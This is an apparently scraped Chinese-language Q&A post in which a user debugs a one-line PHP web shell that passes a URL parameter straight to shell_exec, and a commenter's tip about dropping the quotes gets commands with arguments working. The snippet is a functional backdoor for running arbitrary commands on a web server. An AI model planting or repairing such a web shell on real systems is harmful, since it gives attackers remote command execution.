【发布时间】:2021-10-11 04:33:03
【问题描述】:
我正在使用一个简单的反向 shell php 脚本:
$res = shell_exec($_GET['cmd']));
var_dump($res);
但是使用空格的命令不起作用:
shell.php?cmd="ls" works
shell.php?cmd="ls -lh" not working
shell.php?cmd="ls%20-lh" not working
我从我的 httpd 服务器检查了 error.log,显示的错误非常错误:
sh: ls -lh: command not found
我猜这可能是由于 $_GET 接收到的字符串的编码,但我不知道如何解决这个问题。
【问题讨论】:
-
我不确定这是否有帮助...但是如果您删除引号,您会遇到同样的问题吗? IE。
shell.php?cmd=ls -lh -
哇!没有引号它可以完美地工作!谢谢!
标签: php shell get apache2 reverse